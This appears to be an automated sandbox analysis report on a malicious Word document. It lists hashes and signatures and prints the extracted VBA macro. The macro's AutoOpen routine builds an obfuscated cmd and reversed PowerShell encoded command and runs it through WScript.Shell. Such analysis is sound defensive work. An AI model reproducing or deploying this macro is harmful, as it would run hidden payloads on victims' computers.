Behavioral task
behavioral1
Sample
07ee44f9fa9188be620b38bd4494fd6c_JaffaCakes118.doc
Resource
win7-20240221-en
windows7-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
07ee44f9fa9188be620b38bd4494fd6c_JaffaCakes118.doc
Resource
win10v2004-20240419-en
windows10-2004-x64
10 signatures
150 seconds
General
-
Target
07ee44f9fa9188be620b38bd4494fd6c_JaffaCakes118
-
Size
83KB
-
MD5
07ee44f9fa9188be620b38bd4494fd6c
-
SHA1
b079fbd5595c53ff4b8aee51aaece7792fb2eef6
-
SHA256
fa22225bbaa33be9c57bf5bc3588b3e5dd4a6bcd531eb10fdf28ae5dc7c950f6
-
SHA512
f86324391f3d32f7dde4d65bc70cfc1a260ae0b48dfa992bef94b604f775af0d0ed949245e8e6aff3163b788df0719f33502f0c9c0f49357d3360a95faa91db5
-
SSDEEP
1536:SptJlmrJpmxlRw99NBk+aHJU4rTDUdUNAMeWT:Ote2dw99fb4r3UdqAMe
Score
8/10
Malware Config
Signatures
-
Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule sample office_macro_on_action -
resource sample
Files
-
07ee44f9fa9188be620b38bd4494fd6c_JaffaCakes118.doc windows office2003
EaQtQvZi
1Attribute VB_Name = "EaQtQvZi"2Attribute VB_Base = "1Normal.ThisDocument"3Attribute VB_GlobalNameSpace = False4Attribute VB_Creatable = False5Attribute VB_PredeclaredId = True6Attribute VB_Exposed = True7Attribute VB_TemplateDerived = True8Attribute VB_Customizable = True9GjWCjJazapR
1Attribute VB_Name = "GjWCjJazapR"2Function LDVErTJs()3On Error Resume Next4Error 61956 * JuKbbO5ERirvVifR = "md /v^:" + "^ON^ " + " ^ /c" + Chr(2 + 3 + 2 + 1 + 26) + " " + " ^Se" + "^T ^" + " A^K=A" + "^ACA^gA"6Error 63986 * XMDXTr * JOwzq * fAnwYw7Error 69710 * FJwJcM8Error 98572 / ZWPJwP * JLoVuj * 888449PohwL = "A^I^A^" + "ACA^g" + "A^A" + "^" + "I^A^" + "AC^A^g" + "AAIA^AC" + "Ag^A^A" + "I^A"10Error VwwJY / wRPYz11Error 59505 / nQfBiM * 60174 * uZJPH12Error 28808 * YTRVC13Error OmKOz / Ojvzl / iwXoCi / UHzwhr14zipYfEisavJ = "^A" + "CA" + "^gAA^I" + "^" + "A^ACAg" + "AQfA0" + "^H"15Error sOSVlj / AfOrL / 6800 / OpdXS16rZfdh = "^A7^B" + "A^a^AMG" + "^" + "A0" + "^BQ^" + "Y^A" + "M^GA9" + "^B^w" + "^" + "O^"17Error OvdLR * SOXPR18Error 65437 / oNckfI19Error 15981 * vsrPJ20Error zEoOl * LFzrVS21Error NMoCZ / aPfnKP22GnSRoCl = "As^GAh" + "^B^" + "QZ" + "^A" + "^I" + "^HA" + "iBwOA"23Error wdjVf / ZBDWAD24Error MhMrGL / UPPtL / 86036 * sSDDVs25Error 6796 / iDYXGz26Error 48523 / dIwRP / 91359 / HItzPI27iaiZbFMr = "c^EAC" + "^B^A^aA" + "^QC^A^g" + "^A^" + "QbA^UG" + "^" + "A^0B^"28Error 42760 / 4203829Error mIYsv / DjVKu30Error 38882 * iDGPYT * fcHXiI * jAJQki31Error kASBP / 76484 * BWjFHP * wLmBHb32Error 51500 / iTSRLj * BwoTi / 655833WOCzK = "QSA^0CA" + "lBw" + "aA" + "8GA^" + "2B^gb" + "^AkEA" + "^7" + "A^QKA" + "c^E" + "^AC^" + "B^A"34Error GTwssa / ZYXSL * PinoE / ptLFT35Error BlfMil / qMRjk36ijScjYC = "^a^A" + "QC^A" + "^gAA" + "LAU" + "^EA" + "jBw^Q^A" + "^QC^A^o" + "A" + "QZA" + "^" + "wG^A" + "^p^B" + "g"37Error jOMiw / 1081738Error JhRNJ * 79011 * 91113 * dUGZj39Error pjuUC * EEpKZ40fHPOjAh = "R^AQG^A" + "h^Bwb^" + "A" + "wGAu" + "^B^w^d^" + "A8^G^"41Error kZhjlV / QYGBQD42aRqYfOkYPUi = "AE^B^g^" + "L^AE^F" + "^A^zBg" + "QAQ" + "CA7" + "^" + "BQ" + "^e"43Error 16696 * jpBWB * kSjFd / CkizUs44Error 48150 * 8676545Error hZIoT * Mznjlp46wwQzBBZzwcH = "^AI^H^A" + "0^B" + "we^A^kC" + "^A" + "V"47Error jWwNB * BnVVW48Error OVjfoQ / ztPQj49Error 14707 / vQvKCw50iCQofJ = "^BAcA" + "k^GA^k" + "A^A^I" + "A^4^GAp" + "^" + "B^" + "AI^A" + "U^E^A^j" + "B^w^" + "QA^QC^"51LDVErTJs = ERirvVifR + PohwL + zipYfEisavJ + rZfdh + GnSRoCl + iaiZbFMr + WOCzK + ijScjYC + fHPOjAh + aRqYfOkYPUi + wwQzBBZzwcH + iCQofJ52Error fsHflm / zTdjS53Error BEaYq / fhiIM54Error aMQkF * 9487055End Function56Function QqtwSndqsl()57On Error Resume Next58Error 91240 / 1703759Error GwTMu / XwKtF * aSRzzO * TthslC60Error 58912 * qGFvl61jjjUQYa = "A^o^A^" + "AaA^M" + "G^A" + "^hB^Q^" + "Z" + "^AIHA" + "v^BgZA" + "^s^D" + "An^A^Q" + "Z^A^g"62Error MVkkp / ujGoKm63Error 6199 * lPtJG64Error 18592 * jJVSZ / hKBtC * EnKqO65Error lciOi * mLfNi / 85050 * 7852366BYcqNEp = "^H^A^" + "lB^g^" + "LAcC" + "^Ar^A^" + "Q" + "dA" + "sGA" + "H^"67Error rmjqsv / vCZYaC * 90121 / RmsCwS68hGWBi = "BA^JAs" + "C^AnA^A" + "^X^Ac" + "CAr" + "^Aw^Y^" + "A^kG" + "^A^sB^g" + "Y^" + "AU"69Error 54970 * OYaUa * GRvWrQ / SjPnpP70FrjBTr = "HA^w^B" + "g" + "O^" + "A^Y" + "^H^A^u" + "^B^" + "Q^Z^A^Q"71Error 43090 * YbWNcO72Error 82059 * HpiWY * cZRJHX * AqaSj73Error 21890 * 9661574TPlRzccvu = "C" + "^A^9A^" + "wRA^IEA" + "^oB" + "^" + "A^JAs" + "D" + "^AnAwN" + "AA" + "D^A3" + "^AwJ" + "A" + "ACA"75Error afnJi / fbmRlp * hYnnH / rirkmF76Error wJfGd / dSYzV * tBqXo * XUioB77Error 85542 * CtDmiC * jRJGoM * MNppSP78ovDJUidM = "9^AA^IA" + "^U^H^Ar" + "BwRA^Q" + "CA^7A^Q" + "K^A" + "c"79Error SHLIas * AoSni80Error 84172 / vjiUn * Hcvpn * jdwRbb81Error 75745 / pjvADs82dSNWk = "CA^A" + "B" + "wJA" + "^gCA^0" + "BQaA^wG" + "Aw^B^w^" + "U^A4C^" + "AnA" + "^" + "QR^A"83Error duzcQ * MjXFkw / zQVXi / KiQSn84suXVJjjjit = "^8C^" + "A1^" + "Bgc^A^" + "4C" + "^A^yB" + "^A^d^" + "Ak^" + "GA" + "^" + "i^" + "B^" + "gc^A^E^" + "GAzBwc^"85Error 41446 / sXkCpT / hwEwwN / NbKYkQ86Error LwOiLh / kfGBOl87Error qALGW / ESpks88Error 9774 * JLloL89Error 65943 / OLtIDH * 18561 / FTEOaU90IiRvd = "A" + "^UG" + "Au^BQ^a" + "AM^H^A" + "^1^Bg^Y" + "^A^"91QqtwSndqsl = jjjUQYa + BYcqNEp + hGWBi + FrjBTr + TPlRzccvu + ovDJUidM + dSNWk + suXVJjjjit + IiRvd92Error 18382 / WNfEo / ZscMJL * wpcjw93Error 6532 / zBriT * GTjVBK / iMiHw94Error 13347 / Yquzz * 40345 * 8654095End Function96Function zIUGwiLHwk()97On Error Resume Next98Error owcGV * 4883099Error 30208 / uDNVz100ZujQZtakwz = "8CAv^A^" + "g^" + "O^A" + "A" + "HA^0B" + "A^d^A^g" + "G^A^AB" + "^wV^A" + "cD^AN^B" + "Q" + "cA^" + "4E"101Error 99176 / RndHoV / iwwvZY / 8631102Error izPYf / sPJMwq103Error 17400 / 2231104Error VISYs * IAGOcw105Error oiwEzA / ZWbzR / vPFbHm / EzwBD106Error brTrbE * NOihYP107AUnvbHHFcXo = "^A" + "O" + "Bw" + "^L^A0G" + "A" + "v^BwY^" + "A4CAhB^" + "AZA^k"108Error 11225 / dYbql / 88835 * GspaH109Error 35404 / PdmKRz110blzYBKzcNvA = "GA" + "yBwb" + "Aw^G^" + "A^mB^gZ" + "^" + "A8GA^5B" + "^AdA" + "^w" + "GAh"111Error AhYQiq * VJHCDQ112Error 45911 / vkuOs * LLwSlt / bzdEpq113Error 79976 * jGsiRz114OJVmWlK = "BQ^Z" + "^AIH^Ak" + "^B" + "gb^A^E" + "G^As^Bw" + "c" + "AkG" + "^"115Error bHiZih * FtKVM / 37913 * FqkiH116Error biTwKM * IosPwK117Error 70567 * BFEzw118Error 56797 * LsSXw * 90862 / iJQGwP119ikokzXurlv = "As^" + "B" + "^Q" + "Y^AMG^" + "A" + "pBAc" + "^" + "A^8G^" + "AyBAdA8" + "CAvA^g^" + "OA^AH^A"120zIUGwiLHwk = ZujQZtakwz + AUnvbHHFcXo + blzYBKzcNvA + OJVmWlK + ikokzXurlv121Error qnAYOd * 46279 * 39703 / zFSGQ122Error 49622 / fZpoAA123Error lntFw / VcZGWq124End Function125Function zzaRRzYGrvE()126On Error Resume Next127Error UzKBpM / tHjUkt128Error 575 * mUVdpi129CBDCnna = "0^B^A" + "^dA" + "gG" + "^A" + "A^B^A^d" + "AA^" + "F" + "AyA" + "^g^YA" + "^k^G" + "A^y^A^w" + "L^A^4^"130Error nHtCM * PzfIvC131Error 85254 * iuzEWv * VzzBBE / 17355132Error 76156 * iTvrpo133Error kqjJm / XisVrq134Error 81929 * JumYcI / 53718 * ZQkWj135WPfqAJl = "G^A" + "^pB^g" + "LA^" + "E^G" + "A" + "p^"136Error 86673 / Bwioq137Error KQbfH * 51481138Error 31734 / wsFzw139KvVEnmj = "B^g" + "cA8" + "^G^A^tB" + "^Q^Z^A0" + "^GAhB" + "AbA8CA" + "vA^gO" + "AAHA0" + "BA^dA^g" + "^G" + "^"140Error 49015 * NLBwt141Error lBYAD * rJFkbO142Error hpqbFT / QChPpA / 79846 * aUzqVV143MztiUtni = "A^A^" + "B^" + "wb" + "Aw^E^A^" + "u^BQN" + "^A^8" + "CArBAb^" + "A^4"144Error XqKktm * tcFkYt145Error wNOszO * RbUwr146Error 26836 * 71140 / WfQdY / SIQaOu147ofAvitQq = "CA^5^B" + "Q^" + "b^AU" + "^GA^kBQ" + "Y^A^M" + "GA^h^B"148Error 33391 / hwOUTL149Error izawZN * 91785 * FIvFcW * 885150Error qzIjAU / bdCKtz151VbHHfwPAG = "^wY^A" + "YH^A" + "u^" + "AAb^A^k" + "^G" + "^AhB^Q" + "bA" + "^8C^Av^" + "AgO^" + "A^AH^" + "A0BA^"152Error fkqVQ * 12135153DWVAVHV = "d^A^gGA" + "^A^B^A" + "NA^8C" + "A^u" + "^BwY" + "A4"154Error DDSBdi * XwLlzF / 28485 * XuZmzf155Error 77324 / PVkHF156pVPUIF = "C^A1" + "B^g^Z^" + "A^4" + "^" + "G^"157Error 46923 / YQIOHC / 8515 / OpDwvO158Error rQlHi / wJuJo159Error bZqOP * SjtvPw * 18869 / ZVMwV160Error UuYPF / IuUSjO161HFcdRWNN = "Ah^B^Q" + "^aA^QHA" + "^jBg^Y" + "A" + "^4C" + "An^Bwb^" + "AwG" + "^AiB^w^" + "LA^8C^A" + "^6A" + "AcA" + "^"162zzaRRzYGrvE = CBDCnna + WPfqAJl + KvVEnmj + MztiUtni + ofAvitQq + VbHHfwPAG + DWVAVHV + pVPUIF + HFcdRWNN163Error jdstzw * HZQPLK / CnNfZ * swtQB164End Function165Function TIESXJwZMs()166On Error Resume Next167Error qfrnbD / EcTchK168Error UzNfGh * ZFCRw169Error 69208 / VrTHZH * 13801 / JzRolj170ENmmrLp = "Q" + "H^A" + "0^B" + "Aa^AcC" + "A9A^Q" + "VAA^" + "H^A^p^B" + "AJA^" + "sDA0^B" + "gbA^" + "UG"171Error pdJaS / wPSHO172Error 3193 / bwEPjw * DBnIUL * GRSUlL173Error 12305 * ZluYXj174Error IHYZhz / qMAEfo175Error 21600 * 5090 / 20971 / 83317176dJQbsEdHtj = "A^p^B" + "^AbA^" + "M^" + "E" + "^A" + "i"177Error HrVkHQ / VmEks * CqnMo * wWIJcC178Error GRMqi * 52505 * 97615 * iXWoTC179WzFYj = "B" + "Q" + "Z^" + "Ac^F^" + "AuA" + "Ad^A^U" + "^G^" + "A" + "^O" + "^BA" + "I^"180Error 68198 / iEAYwh / 87600 * DnFjiR181Error 46395 / ZWVimI / 69790 * FjlvrB182Error 94675 * DmPTYd * RdCqO * DZqGMc183troXQfk = "A^Q^H" + "AjB^" + "QZAoGA" + "^i^" + "B^w^b" + "A0C^A" + "3B^Q^" + "Z" + "^" + "A4GA" + "9A^QUA" + "MHA"184Error ssvPt / wHmLmp185Error JJEzu / znnFbV / cQNczE * jPPEGl186Error 54223 * LTzfm * vzCIK / HViOD187Error 31026 * nQTiN * 95401 * iQJbP188KBNoOtVjHPm = "C^B^" + "AJ^ ^" + "e- l" + "le" + "^h^sr" + "^e" + "wop" + "&"189Error oXIVqY / 67615 * 77408 / kXuuAr190hKPolnFPG = "& ^" + "F" + "^oR /^L" + " %^9 " + "^iN" + " " + "(^ ^" + " ^ ^9" + "65^ " + "^" + ", ^ " + "^ -1"191Error 70556 * chwqD / 32735 / ZAficE192Error 64919 * AoInWi * jLocb / KZPjdS193cDcYslr = " ," + "^ ^ " + "^0) ^d" + "O " + " ^S^E" + "t G^F" + "r" + "^"194Error lrlpXz / ItkVk195phjMCDl = "1=!G" + "^" + "Fr" + "^1!!" + "A^" + "K:~ %" + "^9, 1" + "!" + "& ^i^F " + " %^9"196Error 76382 / jdZpzT * uRWCZj / pFvFP197Error 71382 * LLPriw198Error IswMao * boEmnz * 87379 / FWjwr199HFpFP = " LsS" + " ^1 cA" + "^l^L %" + "G^" + "Fr^" + "1:^~" + "-^966" + "% " + Chr(2 + 3 + 2 + 1 + 26) + " " + ""200TIESXJwZMs = ENmmrLp + dJQbsEdHtj + WzFYj + troXQfk + KBNoOtVjHPm + hKPolnFPG + cDcYslr + phjMCDl + HFpFP201Error SwhdD / LqJvRO202Error oztIj * EltGEw203Error CUzPiB / iIsKUR204End Function205206umJJFLVjtf
1Attribute VB_Name = "umJJFLVjtf"2Sub AutoOpen()3On Error Resume Next4Error lYVKNO / Xnbns5Error WSEwz * QVzcKw / 60661 * wkirVV6Error 62513 * zIacKW * 89634 * zpsut7bwdnukzCO = CreateObject("WScript.Shell") _8. _9Run _10(ChrW(3 + 5 + 9 + 11 + 39) + FRqPWUVUfbaE + rizjmazzZPXBF + LDVErTJs + QqtwSndqsl + zIUGwiLHwk + zzaRRzYGrvE + TIESXJwZMs + Yanrjzf + uBiIiVEfczn, 342822333 - 342822333)11Error omElG / brUPHR12End Sub131415